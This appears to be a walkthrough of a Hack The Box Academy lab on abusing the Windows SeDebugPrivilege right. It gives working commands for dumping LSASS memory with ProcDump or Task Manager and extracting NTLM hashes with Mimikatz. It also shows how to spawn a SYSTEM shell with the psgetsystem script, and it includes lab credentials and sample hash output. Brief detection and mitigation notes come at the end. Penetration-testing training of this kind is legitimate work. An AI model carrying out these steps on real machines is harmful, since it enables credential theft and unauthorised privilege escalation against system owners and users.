SeDebugPrivilege is a powerful Windows user right that allows debugging of programs and access to system memory. While typically assigned to administrators, developers may receive this privilege for troubleshooting purposes. This privilege enables LSASS process dumping and SYSTEM privilege escalation.
- Memory access to critical OS components
- Process debugging including system processes
- LSASS dumping for credential extraction
- Token manipulation for privilege escalation
# Local/Domain Group Policy assignment:
Computer Settings > Windows Settings > Security Settings > Local Policies > User Rights Assignment
"Debug programs" = SeDebugPrivilegeTarget Users:
- Developers - for system component debugging
- System admins - for troubleshooting purposes
- Service accounts - for application debugging
# Check current privileges
whoami /priv
# Key output to identify:
SeDebugPrivilege Debug programs DisabledImportant Notes:
- Privilege shows as Disabled by default
- Elevated shell required to utilize
- Automatically enabled when running privileged operations
# Elevated PowerShell/Command Prompt required
# ProcDump from SysInternals suite# Dump LSASS process memory
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Expected output:
ProcDump v10.0 - Sysinternals process dump utility
[15:25:45] Dump 1 initiated: C:\Tools\Procdump\lsass.dmp
[15:25:45] Dump 1 writing: Estimated dump file size is 42 MB.
[15:25:45] Dump 1 complete: 43 MB written in 0.5 secondsmimikatz.exe
# Enable logging (recommended)
mimikatz # log
Using 'mimikatz.log' for logfile : OK
# Load dump file
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
# Extract credentials
mimikatz # sekurlsa::logonpasswords
# Sample output:
Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session : RemoteInteractive from 2
User Name : jordan
Domain : WINLPE-SRV01
Logon Server : WINLPE-SRV01
Logon Time : 3/31/2021 2:59:52 PM
SID : S-1-5-21-3769161915-3336846931-3985975925-1000
msv :
* Username : jordan
* Domain : WINLPE-SRV01
* NTLM : cf3a5525ee9414229e66279623ed5c58
* SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2- Open Task Manager (Ctrl+Shift+Esc)
- Navigate to Details tab
- Find lsass.exe process
- Right-click → Create dump file
- Download dump file to attack system
- Process with Mimikatz using same commands
- Parent process targeting - identify SYSTEM processes
- Token inheritance - child process inherits parent token
- Process creation - spawn elevated child process
# List running processes with PIDs
tasklist
# Key SYSTEM processes to target:
System 4 Services 0 116 K
winlogon.exe 612 Console 1 10,408 K
lsass.exe 680 Services 0 15,332 K# Load PoC script (psgetsystem)
# GitHub: https://github.com/decoder-it/psgetsystem
# Syntax: [MyProcess]::CreateProcessFromParent(<system_pid>, <command>, "")
# Target winlogon.exe (PID 612) to spawn SYSTEM cmd
[MyProcess]::CreateProcessFromParent(612, "cmd.exe", "")
# Alternative: Target LSASS process
$lsass = Get-Process lsass
[MyProcess]::CreateProcessFromParent($lsass.Id, "cmd.exe", "")# New command prompt opens as SYSTEM
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>whoami /priv
# Full SYSTEM privileges displayed- Target:
10.129.43.43(ACADEMY-WINLPE-SRV01) - Credentials:
jordan:HTB_@cademy_j0rdan! - Access Method: RDP
- Objective: Obtain NTLM hash for
sccm_svcaccount
# Connect via RDP
xfreerdp /v:10.129.43.43 /u:jordan /p:'HTB_@cademy_j0rdan!'# Open elevated Command Prompt (Run as Administrator)
# Enter jordan's credentials when prompted
C:\>whoami /priv
# Confirm SeDebugPrivilege is listed (Disabled state is normal)# Navigate to tools directory
cd C:\Tools
# Dump LSASS process
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Verify dump creation
dir lsass.dmp# Launch Mimikatz
mimikatz.exe
# Enable logging
mimikatz # log
# Load LSASS dump
mimikatz # sekurlsa::minidump lsass.dmp
# Extract all credentials
mimikatz # sekurlsa::logonpasswords# Search for sccm_svc account in output
# Look for NTLM hash in msv section:
Authentication Id : 0 ; [ID]
Session : Service from 0
User Name : sccm_svc
Domain : WINLPE-SRV01
msv :
* Username : sccm_svc
* Domain : WINLPE-SRV01
* NTLM : [NTLM_HASH_HERE]# Submit the NTLM hash found for sccm_svc account
# Format: 32-character hexadecimal string# If ProcDump unavailable, use PowerShell memory access
# Requires custom scripts for memory manipulation# GUI approach:
1. Task Manager → Details tab
2. Find lsass.exe → Right-click → Create dump file
3. Transfer dump to analysis machine
4. Process with Mimikatz offline# Suspicious activities to monitor:
- procdump.exe execution with lsass.exe target
- mimikatz.exe execution
- Unusual memory dumps in temp directories
- Task Manager dump file creation- Event ID 4656 - Handle to object requested (LSASS access)
- Event ID 4663 - Attempt to access object (memory dump)
- Event ID 4688 - New process creation (debugging tools)
# Remove SeDebugPrivilege from non-essential accounts
# Implement least-privilege principles
# Regular privilege audits and reviews# Monitor for:
- LSASS process access attempts
- Memory dump file creation
- Mimikatz execution signatures
- Unusual process debugging activities# Enable LSASS protection (Windows 8.1+)
# Configure Windows Defender Credential Guard
# Implement Protected Process Light (PPL) for LSASS- User account with SeDebugPrivilege assigned
- Elevated shell (Run as Administrator)
- ProcDump/Mimikatz tools available
- Target identification (LSASS or SYSTEM processes)
- Verify privilege (
whoami /priv) - Execute procdump on lsass.exe
- Launch Mimikatz with logging enabled
- Load dump file (
sekurlsa::minidump) - Extract credentials (
sekurlsa::logonpasswords)
- Identify SYSTEM process PID (
tasklist) - Load PoC script (psgetsystem)
- Execute impersonation command
- Verify SYSTEM access (
whoami)
- SeDebugPrivilege enables powerful memory access capabilities
- LSASS dumping reveals cached credentials for logged-on users
- Multiple extraction methods available (ProcDump, Task Manager)
- Token impersonation allows direct SYSTEM escalation
- Developer accounts commonly have this privilege assigned
- Detection possible through process monitoring and event logs
SeDebugPrivilege exploitation provides reliable access to system credentials and SYSTEM-level privileges when properly leveraged.